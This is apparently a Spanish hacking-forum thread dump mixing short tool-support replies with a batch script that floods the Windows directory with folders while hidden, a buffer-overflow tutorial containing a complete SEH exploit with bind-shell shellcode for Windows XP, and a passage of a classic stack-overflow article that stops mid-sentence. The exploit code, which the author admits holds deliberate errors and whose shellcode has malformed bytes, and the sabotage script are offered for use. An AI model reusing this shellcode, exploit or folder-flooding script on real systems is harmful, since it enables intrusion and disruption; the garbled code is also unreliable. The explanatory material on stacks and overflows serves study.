Me tiró dos warnings al final del escaneo. Pero no me deja abrir el log, nisiquiera dandole permisos al archivo.

tambien probé con:

sudo rkhunter -c > log

Y se me cuelga la consola. Deja de responder.

---

Instalación y actualización en Ubuntu:

sudo apt-get install rkhunter && sudo rkhunter --update

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bno aprovecho ANTRAX para preguntarte sobre la Malware Data base???

donde quedo o que??? 

La DB de Malwares esta lista, estamos esperando a el hosting para poder alojarla.

Saludos!

Muchas gracias compañero, ya lo instalé. Para los que quieran instalar en Ubuntu:

sudo apt-get install bleachbit -y

La instalación deberá instalar paquetes adicionales, para que funcione correctamente el programa, en este caso el menú para poder ser ejecutado desde aplicaciones y no solo por consola. Por eso damos el parametro -y, lo que evita que nos pregunte por s/n (Si o No) a la hora de instalarlos.

Excelente! Ahora, la parte importante. Fuente? Ya lo ví MARCADO en EHN

Si nos dices que error, o traes una imagen, podriamos ayudarte más facilmente.

Que versión instalaste? Full? Que versión de Windows 7 tenés?

Cuando hablo sobre versión de Windows 7 me refiero a: Home Basic, Proffesional, Ultimate.

Que SP tienes instalado? Te recomiendo actualizar a la Proffesional o la Ultimate, si es que tienes la primera.

Saludos!

Funcionaba 100%. No sé si funcionará con la versión actual.

Saludos!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Me podes explicar para que pusiste esa encuesta?

Eliminada.

Como te dijeron, hay buenos manuales sobre Defacing en el foro, revisa la sección!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bueno... Añado uno xD (Es cutre de narices xD pero hará que se relentice la PC de una forma flipante xD)

@echo off
cls
cd %windir%
:bucle
mkdir %random%
gotobucle

La cosa es hacer que no se vea la shell... xD Yo con una cosilla de estas llegué  hacer 44.000 carpetas (aprox.)

Salu2!

Creas el archivo .bat con > y >>. Luego lo ejecutas con start y el parametro /MIN, eso hara que la ventana esté minimizada. Tambien le podes dar el parametro /WAIT para que el archivo no se pueda cerrar hasta que termine lo que está haciendo.

Mas info:

start /?

CitarPues antiguamente filtraba todo atraves de expresiones regulares pero se me ocurrió un método muchisimo mas efectivo y mas corto.

Fácil, córto, límpio, sencillo.... a mas de alguien le va a servir, saludos.

if(in_array(($mod= './modules/'.$_GET['module'],'/index.php'), glob('./modules/*/index.php'))){
   include($mod);
}else{
   echo 'El módulo no existe.';
}

Autor: WHK
Fuente: EHN

Buffer Overflows.

Todos hemos oido hablar de este pequeño amigo, pero muy poca gente logra entenderlo y muchas menos ponerlo en práctica.

Vamos a explicar un poco en que consisten y como se buscan, para en lo posible, evitar que nos suceda cuando programemos.

Un BO se provoca para inyectar código sobrante en la pila.

La pila.

Ésta es nuestra amiga, la que nos ayudará en el buffer overflow. La pila es donde se guardan las instrucciones que se ejecutarán, incluyendo las funciones, los procedimientos, etc...

Ahora, imaginemos que en nuestro programa llamamos a la funcion pepito.

La función pepito tendrá una dirección de retorno, que modificaremos para poder insertar ahí nuestro código arbitrario.


int ExceptionHandler(void);
int main(int argc,char *argv[]){

        char tuarray[128];
        strcpy(temp,argv[1]);

return 0;
}



¿Qué hace éste programa?. Copiar el array temp con el contenido de argv[1], nada mas. Si os fijáis, no está protegido el contenido del array (su tamaño), por lo que ahí radica nuestra entrada, el fallo que hemos cometido al programarlo y por donde meteremos la zarpa para provocar el buffer overflow. (Existe aquí otra forma de buffer overflow, aprovechando el bloque de la excepción, pero es mas complicada y no la trataremos aquí).

¿Como se provoca el BO.?

Se realiza metiendo en el array mas elementos que tamaño tiene predefinido: mas de 128, para provocar el BO y el fallo del programa.

Si el programa falla, que fallará, vemos que podemos insertar un BO. El BO se compone de un shellCode. El ShellCode no es mas que:

[numerodenops][numerodeshellcodes][numeroderetornos] direccion


Numerodenops indica que introduciremos la instrucción NOP tantas veces como queramos. ¿Por qué?. Porque De esta forma el valor del puntero de instrucciones no necesitara tomar un valor exacto del inicio del shellcode sino que podra ser aproximado, mientras caiga dentro del rango en el que están los nops.
Numeroderetornos indica que introduciremos tantos retornos como queramos, por la razón de que el tamaño del buffer puede variar entre versiones.
Éste es el ejemplo que aprovecha un buffer overflow. Ahora vamos a explicar como usarlo de forma general.

¿Cómo encontrar los BO?.
0) Conocimientos de C y ensamblador.
1) Un buffer que sea desbordable

2) Un shellcode en alguna zona de memoria

3) Conocer la direccion de memoria del shellcode



1) Para encontrar un buffer explotable:

- Seguir habitualmente boletines de seguridad o de desarrollo donde se
informe de este tipo de bugs.
- Buscar instrucciones peligrosas, cmo strcyp, strcat, sprintf, vsprintf, etc.... Generalmente esto no es en absoluto posible, pero si lo programamos nosotros, será fácil.
- Probrar el programa enviandole largas cadenas de texto, números... depende del programa.

2) Normalmente lo meteremos en la pila en el propio buffer desbordado, aunque no siempre es posible.

3) Para localizar nuestro shellcode en memoria usaremos un depurador, (ollydbg, softIce). Ésto obliga a que la máquina a explotar sea la misma que la nuestra.

La tarea del depurador no la explicaremos aquí, por estar ya explicada en miles de documentos en la red, mucho mejor de lo yo lo haría.

Si vamos a poner un ejemplo real, sacado de internet, para que entendáis como funciona y lo comprobéis con un ejemplo.













Código del exploit.


#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English

// Stage1 Shellcode:
unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
\x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[2];
char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
bufExe[0] = "lameseh.exe";
bufExe[2] = NULL;

memset(buf,090,1024);
memcpy(&buf[60],shellcode,sizeof(shellcode));

*(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
*(unsigned long *)&buf[524] = RET_ADDRESS;
memcpy(&buf[528],stage1,sizeof(stage1)-1);

bufExe[1] = buf;

//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}


Código del programa.

// lameseh.c - talz

int ExceptionHandler(void);
int main(int argc,char *argv[]){

        char temp[512];

if (argc != 2) exit(0);

__try {

        strcpy(temp,argv[1]);

        } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
He introducido pequeños errores para desalentar a los script kiddies. Lo lamento, pero los que sepan algo de C sabrán corregirlos rápidamente.

Y nada mas. Espero que hayáis disfrutado del manual. Ahora intentadlo vosotros con un programa parecido a ese, e intentad introducid código arbitrario, es la mejor forma de aprender.

Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

NOTA: Este articulo ha estado escrito por Doing y Ripe... Los apartados
      escritos por cada uno de ellos son:

      Doing: -Algo de ASM
             -Accesos a memoria
             -El modo protegido del 386
             -La pila (o stack)
             -Alguna instrucciones en ASM
             -Variables locales
             -La base de los exploits
       
      Ripe: -Esta NOTA
            -Algo sobre los procesos en UNIX
            -Volvamos al ejemplo anterior
            -¨Con que aplicaciones chuta todo esto?

      Esperamos que el articulo sea de vuestro agrado.... y que podais
      explotar muchos sistemas con vuestros *propios* exploits, happy
      hacking



INTRODUCCION
~~~~~~~~~~~~

Hola lectores. En este articulo vamos a intentar explicar detalladamente
que co¤o es un buffer overflow o desbordamiento de buffer, asi como la forma
de explotarlo. Debido a que es un tema que requiere algun conocimiento de
ensamblador describiremos un poco este lenguaje, lo justo para que se
entienda lo que vamos a decir. Bueno, sin mas preambulos, vamos alla.


ALGO DE ASM
~~~~~~~~~~~

El asm es un lenguaje mas bien simple, pero con simple me refiero a que
las cosas que se pueden hacer son simples, como mover un registro en otro,
hacer una escritura en memoria, etc. Asi que no tiene variables, ni punteros
ni expresiones logicas, etc... El asm basicamente interactua entre la memoria
del pc, los registros del procesador y los puertos de E/S. Los registros del
procesador son los siguientes:

-EAX, EBX, ECX, EDX.

Son los registros de proposito general. Se podria decir que se pueden usar
como variables. El EAX recibe el nombre de acumulador, ademas es el destino
por defecto de algunas operaciones aritmeticas, como la division.

-ESI, EDI.

Se usan como punteros indice y destino respectivamente en las operaciones
de copia de cadenas de caracteres, es decir, cuando vas a copiar, por
ejemplo, cuatro caracteres de A a B, pues pones en ESI el valor A y en EDI el
valor B, y ejecutas la instruccion de copiar.

-EBP, ESP.

Estos registros son algo "especiales". Su utilidad la explicare mas
adelante.

-CS, DS, ES, SS.

Estos registros se usan para almacenar la direccion de algun segmento. El
CS almacena la direccion del segmento que contiene el codigo, el DS almacena
la del segmento de datos, y el ES es un registro "extra", puedes poner en el
el valor que se desee. El registro SS contiene la direccion del segmento de
stack o pila, del que hablare mas adelante.

-EIP.

El EIP, tambien se le llama contador de programa o instruction pointer.
Contiene la direccion de la __siguiente__ instruccion a ejecutar.


NOTA: Puede que algunos de los lectores conozcan lenguaje ASM en ms-dos. A lo
      mejor estan confundidos por el cambio de nombre de los registros. En
      ms-dos, los registros se llamaban ax, bx, cx, etc. Con la aparicion del
      386 los registros cambiaron su longitud, pasaron de ser de 16 bits a 32
      bits. Para mantener la compatibilidad en el lenguaje y demas, los
      registros ax, bx, etc, se pueden seguir usando, pero al registro
      "grande", al de 32 bits, se le a¤adio la E de "Extended". Otra cosa;
      los registros ax, bx, etc... se pueden dividir en dos mas peque¤os.
      llamados ah y al, bx y bl, etc, que hacen referencia a los 8 bits mas
      altos del registro (ah) y a los 8 mas bajos (al). Un esquema para que
      os quede mas claro:

                            EAX (32 bits)
              __________________________________________
             / 12345678   12345678   12345678   12345678\
                                     --------   --------
                                  \ AH (8 bits)  AL (8 bits) /
                                   -------------------------
                                          AX (16 bits)


ACCESOS A MEMORIA
~~~~~~~~~~~~~~~~~

Para acceder a memoria se usan dos "numeros", el segmento y el
desplazamiento (offset). Lo del segmento y el desplazamiento viene de anta¤o
y era porque en los primeros ordenadores, con los registros de 16 bits no se
podia direccionar mucha memoria, asi que se opto por dividir la memoria en
segmentos:

             Segmento 1: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
             Segmento 0: 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0
                                 ^

Entonces, para acceder a memoria se usaban dos registros: uno que contenia
el segmento, y otro el desplazamiento, separados por dos puntos. El 1 de los
dos segmentos de arriba estaria en la direccion 0:5. Hasta ahora facil, no?
Esta seria la direccion "virtual" (0:5). Para calcular la direccion que se
le pasa a la RAM (la direccion _física_) se hace el siguiente calculo:

         Direccion fisica  =  ( segmento * 16 ) + desplazamiento

Bueno, pues un apunte: antes he dicho que EIP contenia la direccion de la
siguiente direccion a ejecutar no?. Pero acabo de decir que para acceder a
memoria hacen falta 2 datos. La direccion del segmento de codigo se encuentra
en el registro CS. Por lo tanto la direccion de la proxima direccion a
ejecutar seria CS:EIP.   
 
     
EL MODO PROTEGIDO DEL 386
~~~~~~~~~~~~~~~~~~~~~~~~~

Uno de los grandes avances en sistemas operativos, ha sido el utilizar el
modo protegido del 386 para funcionar. En los S.O.s antiguos, como ms-dos,
solo se podia ejecutar un programa a la vez, o sea, que eran monotarea.
Ademas ese programa que se estaba ejecutando podia acceder a TODA la memoria.
Con la llegada de los S.O.s multitarea y multiusuario (como Linux, jeje la
cosa se complico un poco. Ahora se necesitaba correr sobre un mismo
procesador varios procesos simultaneos, y ademas, esos procesos no podian
acceder a toda la memoria, si no, se podrian leer los passwords de los
usuarios desde cualquier programa.

Pues bien, el modo protegido del 386 nos da la opcion de realizar todo eso.
En el modo protegido, hay varios tipos de codigo, segun sus privilegios. El
nivel mas privilegiado es el Ring 0, tambien llamado modo administrador. El
siguiente nivel es el Ring 1, que tambien es modo administrador pero con
menos privilegios que el Ring 0, y el Ring 2 idem. El Ring 3 es el ultimo
tipo de codigo, y es el menos privilegiado. Se le llama modo usuario. En los
S.O.s actuales solo se usan el Ring 0 y el Ring 3.

Desde el codigo Ring 0 se puede leer y escribir en toda la memoria.
Entonces, que codigo se ejecuta en Ring 0? El kernel, claro. Y en el Ring 3
los procesos de usuario. En codigo Ring 3 los accesos a memoria se hacen de
una forma "algo" distinta. En Ring 3 cuando un proceso quiere acceder a
memoria, el procesador "traduce" primero la direccion virtual (segmento +
desplazamiento) a una direccion unica, y despues, la __mapea__ a una
direccion fisica, siguiendo unas tablas que gestiona el kernel, y que son
unicas e independientes para cada proceso. Estas tablas, se encuentran en
memoria, y la direccion de ellas se encuentra en el registro de control 3
( cr3 ) del procesador. No he puesto este registro arriba porque solo puede
ser modificado por codigo con privilegios Ring 0, o sea, que solo el kernel
puede modificar las tablas para cada proceso (logico, no?).

Vamos, que un proceso puede estar intentando leer de la posicion de
memoria 0xbff8aecd, y resulta que en realidad esta leyendo de la posicion
0x6666666. Eso solo lo sabe el kernel. Ademas, la memoria que esta mapeada
a cada proceso va dividida en paginas. Cada pagina tiene sus propios
atributos, como lectura, escritura y ejecucion. Si un proceso intenta
escribir en una pagina de memoria en la que no tiene permisos, el procesaodor
generara una exepcion al kernel, y este matara al proceso con una se¤al
SIGSEV.

Ademas, no toda la memoria esta mapeada a cada proceso, solo la que va a
usar. Si un proceso trata de acceder a una region de memoria no asignada
pasa lo mismo de antes (SIGSEV).

Una cosa mas, las llamadas al sistema (syscalls). Cuando un proceso quiere
abrir un fichero, o mandar una se¤al a otro, ¨como demonios lo hace? Como no
puede escribir fuera de su espacio de direcciones, lo que hace es llamar al
kernel. Y como lo llama? Mediante una syscall. En linux se usa la
interrupcion 0x80. Nada mas llamar a esa interrupcion el sistema salta a
codigo Ring 0, y el kernel mira el reg. EAX, que contiene el indice de la
syscall. En los registros EBX, ECX, EDX, ESI Y EDI se pasan los parametros
de la syscall. Cuando el sistema vuelve a codigo Ring 3, el reg. EAX contiene
el valor que ha devuelto la syscall.


LA PILA (O STACK)
~~~~~~~~~~~~~~~~~

Cuando empeze a hablar del ASM dije que no tenia variables. Pero el ASM
tiene una region de memoria llamada pila que un programa puede usar para
guardar valores, tales como variables locales, direcciones de retorno, etc.
La pila se encuentra situada en SS:ESP. La pila es una estructura LIFO,
el primero que entra es el ultimo que sale (Last In, First Out). Para
guardar un dato en la pila se usa la instruccion push, y para sacar el ultimo
dato metido en la pila se usa pop. Pongamos un ejemplo:

          CS vale 0 y ESP vale 200.

Nosotros guardamos en la pila el contenido de EAX.

        pushl %eax

Ahora CS sigue valiendo 0, pero ESP vale 196. Si, 196, porque la pila va
disminuyendo segun se meten mas valores. Disminuye 4 porque el reg. EAX
es un reg. de 32 bits, o sea, 4 bytes.

Ahora guardamos BX.

        pushw %bx

Ahora ESP vale 194. Le restamos 2 porque bx ocupa 2 bytes.

En este momento tenemos 2 valores en la pila. Si hicieramos un pop ahora,
el valor que obtendriamos seria el del reg. bx, porque ha sido el ultimo en
meterse.

Mas tarde entrare en detalle sobre las variables locales y direcciones de
retorno.


ALGUNAS INSTRUCCIONES EN ASM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Antes de nada, en linux, la mayoria de las instrucciones de ASM llevan
una letra indicando el tama¤o del dato o registro sobre el que actuan.
Estas letras son 3:

        b : byte (8 bits)
        w : word (16 bits)
        l : long (32 bits)

Instrucciones:


mov - Mueve un registro a otro, una posicion de memoria a un registro, o
       un registro a una posicion de memoria.

        movl %eax, %ebx  # Mueve el contenido del registro eax (32 bits) en
                         # el EBX.

        movb %bh, 4      # Mueve el contenido del registro bh (8 bits) en la
                         # pos. de memoria 4.

        movw 0x12, %ax   # Mueve 16 bits (2 bytes) desde la pos. de memoria
                         # 0x12 al reg. ax

Las refencias a memoria puedes ser absolutas, como las de arriba, o bien,
pueden ir referenciadas a un registro. Pe:

        movl %eax, 0x12(%ebp)  # Mueve el contenido de EAX a la pos. de
                               # memoria ebp + 0x12


lea - Mete en el segundo operando la direccion de memoria del primero.

        leal 0x8(%ebp), %eax   # Guarda en eax la direccion 0x8 + ebp

xor - Realiza un xor entre el primer y segundo operando y guarda el
       resultado en el segundo operando.

        xorl %eax, %ebx  # Guarda en ebx el resultado de eax ^ ebx

or - Realiza un or entre el primer y segundo operando y guarda el resultado
      en el segundo operando.

        orl %eax, %ebx  # Guarda en ebx el resultado de eax | ebx

and - Realiza un and entre el primer y segundo operando y guarda el
       resultado en el segundo operando.

        andl %eax, %ebx  # Guarda en ebx el resultado de eax & ebx

int - Lanza una interrupcion

        int $0x80  # Llama a la int 0x80. Notese el signo $

jmp - Salta a la direccion especificada (relativa)

        jmp 9   # salta 9 bytes por delante de la instruccion actual.

call - Llama a la funcion que se encuentra en la direccion especificada
        (relativa)

        call 5   # Llama a la funcion que se encuentra 5 bytes por delante de
                 # la instruccion actual.

inc - Incrementa el operando en 1

        inc %ebx # ebx = ebx + 1;

dec - decrementa el operando en 1

        dec %ecx # ecx = ecx - 1


VARIABLES LOCALES
~~~~~~~~~~~~~~~~~

Cuando se hace un programa en C, hay dos tipos de variables. Estan las
variables globales, que se encuentran en el segmento de datos. Y tambien
existen unas variables llamadas locales, que se llaman asi porque solo se
usan en una funcion en concreto, por ejemplo una variable contador. Seria una
tonteria definirla como global, si el bucle en el que se va a usar esta en
una funcion. La pregunta es, ¨donde co¤o se guardan estas variables? Se
guardan en la pila.


Y otra cosa muy importante. Hay que entender el concepto de funcion. Un
programa es simplemente una secuencia de bytes, que el procesador traducira a
instrucciones que hacen algo. Cuando ejecutas un programa, el kernel lo carga
en memoria, y le cede el control en su "Program Entry Point", que por norma
general es el inicio de su funcion main(). Pero como imagino que ya sabreis,
no se puede hacer todo un programa de forma secuencial, asi que se usan las
funciones (programacion estructurada).

Una funcion puede hacer algo tan simple como sumar dos numeros, y devolver
su resultado. ¨Como co¤o hace esto? Bien, supongamos que estamos ejecutando
nuestro programa. Ahora esta en la instruccion 1. Nuestro programa va a
llamar a una funcion que suma dos numeros que se le pasan como argumentos.
Pero, ¨como se le pasan los argumentos? Pues se le pasan por la pila, como
veis sirve para bastantes cosas. Volvamos al programa. Se encuentra en la
instruccion 1, CS vale 1, SS vale 2 y DS vale 3. EBP y ESP valen lo mismo,
200. Para llamar a la funcion hay que pasarle primero sus dos argumentos.
Pues para eso usamos sendos push's.

1 push ARG_2
2 push ARG_1  [ Los argumentos se pasan en orden inverso ]

Ahora ESP vale 192 (200 - 4 * 2). Ahora estamos en la inst. 3. En ella esta
una llamada a la funcion que suma los numeros.

3 call offset_de_la_funcion_sumadora

La pregunta de ahora es, ¨como sabe la funcion sumadora a donde tiene que
saltar cuando finalize? Dicho de otra forma: cuando el programa llama a la
funcion, el programa salta al codigo de la funcion, y cuando esta termina,
debe saltar a la inst. n§4, asi que la direccion de la ins. n§4 se debe
guardar en algun sitio. ¨Donde? Pues en la pila, co¤o! xD.

Cuando se llama a una funcion automaticamente se "pushea" en la pila la
direccion de la ins. que esta delante de la llamada.
       
                   equivale a
      call 2 ---------------------> pushl direccion_de_la_ins_siguiente
                                    jmp 2

Ok. Volvamos a nuestro programa. Despues de la llamada, el programa salta al
codigo de la funcion. Ahora la funcion debe reservar espacio en la pila para
sus variables locales, acceder a los argumentos que se le han pasado, colocar
la suma de los args. en EAX y volver a la ins. n§4. ¨Parece dificil, eh?

Lo primero que hace es reservar espacio en la pila para sus variables.
Recordemos como esta la pila en la ins. 1 de la funcion:

[DIRECCION_DE_LA_INS_4] [ARGUMENTO_1] [ARGUMENTO_2] []
^
ESP apunta aqui


¨Como podemos reservar espacio para las variables? Si recordais, todavia
hay un registro que no he dicho para que sirve, el EBP. ¨A que no adivinais
para que sirve? ;->. "reservar" significa conseguir que una region de memoria
solo sea accesible para lo que nosotros lo "reservamos". Si las variables
se guardan en la pila, y la pila tambien se usa para un huevo de cosas, ¨como
se puede reservar espacio? Pues restando un numero a ESP. Por ejemplo, voy a
reservar 4 bytes en la pila de arriba:

        subl $4, %esp         # le resto 4 a ESP

Entonces la pila queda asi.

[4_BYTES_RESERVADOS][DIRECCION_DE_LA_INS_4][ARGUMENTO_1][ARGUMENTO_2][]
^
ESP apunta aqui


Ahora podemos "pushear" lo que queramos en la pila porque nuestras
variables estan delante de ESP, y los datos que "pusheemos" no las
sobreescribiran.

Ya tenemos resuelto el problema del espacio, pero todavia queda otro.
La unica referencia que tenemos para acceder a las variables es el reg. ESP,
pero ESP se usa para guardar y sacar datos de la pila, asi que puede variar.
Aqui es donde entra en juego el registro EBP.

Justo antes de restar el espacio a reservar en la pila de ESP, se hace una
copia de ESP en EBP, de forma que EBP siempre vale lo mismo, y se queda
apuntando de la siguiente manera:

[4_BYTES_RESERVADOS][DIRECCION_DE_LA_INS_4][ARGUMENTO_1][ARGUMENTO_2][]
^                   ^
ESP apunta aqui     Y EBP apunta aqui


Entonces quedamos en que EBP se usa para referenciar las variables locales
de una funcion, pero, ¨que pasa con el valor de EBP de la funcion llamante?
Es decir, la funcion que llama a nuestra funcion sumadora de ejemplo tambien
tendra sus variables locales, y para referenciarlas le hara falta el reg.
EBP. ¨Donde lo guarda? Pues si se¤or, lo has adivinado: en la pila .

Para aclarar un poco todo esto vamos a hacer nuestro programilla de  ejemplo
en C y luego lo desemsamblamos. Vamos alla.

***** programa sumador ********

#include <stdio.h>

int suma(int a, int b)
{
  int resultado;

  resultado = a + b;
 
  return resultado;
}

void main()
{
  suma(1, 2);
}

*******************************

Lo compilo y despues lo desemsamblo (mis comentarios entre []):

        # gcc suma.c -o suma
        # gdb suma

Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...

[ Lo primero que voy a hacer es desemsamblar la funcion main ]

(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0 <main>:       push   %ebp
0x80483f1 <main+1>:     mov    %esp,%ebp
0x80483f3 <main+3>:     push   $0x2
0x80483f5 <main+5>:     push   $0x1
0x80483f7 <main+7>:     call   0x80483c0 <suma>
0x80483fc <main+12>:    add    $0x8,%esp
0x80483ff <main+15>:    mov    %ebp,%esp
0x8048401 <main+17>:    pop    %ebp
0x8048402 <main+18>:    ret   
End of assembler dump.

[ En el programa en C se ve que lo unico que hace la func. main() es
   llamar a la funcion suma pasandole como parametros los numeros 1 y 2.
   En las dos primeras lineas:

0x80483f0 <main>:       push   %ebp
0x80483f1 <main+1>:     mov    %esp,%ebp

   El programa pone en la pila EBP y copia ESP en EBP, como si fuera a
   reservar espacio para sus variables locales, pero como veis, no tiene, asi
   que leugo no le resta nada a ESP.

   Despues pone los numeros 1 y 2 en la pila y llama a la funcion suma():

0x80483f3 <main+3>:     push   $0x2
0x80483f5 <main+5>:     push   $0x1
0x80483f7 <main+7>:     call   0x80483c0 <suma>

   Y la instruccion:

0x80483fc <main+12>:    add    $0x8,%esp

   Deja ESP como estaba justo antes de pasarle los args. a la func. suma() ]

   [ Ahora desemsamblo suma() ]

(gdb) disassemble suma
Dump of assembler code for function suma:
0x80483c0 <suma>:       push   %ebp       [ Se guarda EBP en la pila ]
0x80483c1 <suma+1>:     mov    %esp,%ebp  [ Se copia ESP en EBP      ]
0x80483c3 <suma+3>:     sub    $0x4,%esp  [ Se reservan 4 bytes para la
                                            variable resultado       ]
0x80483c6 <suma+6>:     mov    0x8(%ebp),%eax
0x80483c9 <suma+9>:     mov    0xc(%ebp),%edx
0x80483cc <suma+12>:    lea    (%edx,%eax,1),%ecx
0x80483cf <suma+15>:    mov    %ecx,0xfffffffc(%ebp)
0x80483d2 <suma+18>:    mov    0xfffffffc(%ebp),%edx
0x80483d5 <suma+21>:    mov    %edx,%eax
0x80483d7 <suma+23>:    jmp    0x80483e0 <suma+32>
0x80483d9 <suma+25>:    lea    0x0(%esi,1),%esi
0x80483e0 <suma+32>:    mov    %ebp,%esp
0x80483e2 <suma+34>:    pop    %ebp
0x80483e3 <suma+35>:    ret   
0x80483e4 <suma+36>:    lea    0x0(%esi),%esi
0x80483ea <suma+42>:    lea    0x0(%edi),%edi
End of assembler dump.
(gdb) quit



Espero que llegados a este punto ya entendais mas o menos como va toda la
movida esta de la pila y las llamadas a funciones. Ahora vamos a entrar en
detalle en como modificar la parte de la pila que nos interesa desde C.

Tenemos este programa:

******** prueba1.c *************************************
#include <stdio.h>

int main(int argc, char **argv)
{
  unsigned long *ret;
  char buf[4];

  if (argc > 1) strcpy(buf, argv[1]);

  ret = &ret;
  ret += 1;
  printf(" El valor de EBP salvado es : %04x\n", *ret);
  ret += 1;
  printf(" La direccion de retorno es : %04x\n", *ret);
  fflush(stdout);

}
*******************************************************

Lo compilamos y lo ejecutamos:

        # gcc prueba1.c -o prueba1
        # ./prueba1
        El valor de EBP salvado es : bffffa28
        La direccion de retorno es : 40037213

Como podeis ver en el codigo fuente, si hay mas de un argumento el programa
lo copia en la variable estatica buf, que ocupa 4 bytes, sin mirar el tama¤o
del argumento. ¨Que pasaria si le pasamos un segundo argumento de entre 4 y
ocho bytes? Pues que al hacer el strcpy() sobreescribiria el valor de ret,
pero en la siguiente linea se le asigna un valor a ret, asi que no habria
mayores consecuencias. Pero si se le pasa un argumento mayor de 8 caracteres
se sobreescriben dos valores que tienen todas las funciones en la pila: el
valor guardado de EBP y la direccion de retorno:

[ Voy a pasarle un argumento de 16 bytes de longitud ]

        #./prueba1 aaaaaaaaaaaabbbb
        El valor de EBP salvado es : 61616161
        La direccion de retorno es : 62626262
        Segmentation fault


Pues lo que acabais de observar es la base de los desbordamientos de
buffer. Al modificar la direccion de retorno, al llegar a la ins. ret de la
funcion main(), el programa intentara saltar a la direccion 0x62626262, pero
si recordais, cuando una direccion de memoria no esta mapeada, el kernel mata
al proceso, y eso es exactamente lo que ha pasado.


LA BASE DE LOS EXPLOITS
~~~~~~~~~~~~~~~~~~~~~~~

¨Que podemos hacer para aprovecharnos de esto? Pues basicamente es esto:
Vamos a pasarle al programa un argumento, de forma que sobreescriba la
direccion de retorno con una direccion en la habremos colocado un codigo
hecho en ensamblador que ejecute lo que nosotros queramos. La direccion en
la que tiene que estar nuestro codigo _debe_ de estar en el espacio de
direcciones del programa, asi que, vamos a aprovechar que la variable buf se
encuentra en su espacio de direcciones, y en los primeros bytes del argumento
metemos nuestro codigo, y en los cuatro ultimos metemos la direccion de la
variable buf. La pega es que no sabemos exactamente cual es su direccion,
pues depende de la direccion de la pila, pero da la casualidad de que los
valores que toma la pila son muy parecidos (en el mismo S.O.), asi que
probaremos con la direccion de la pila del programa _exploit_, y si no
funciona probaremos a restarle offsets a la dir. hasta encontrar la direccion
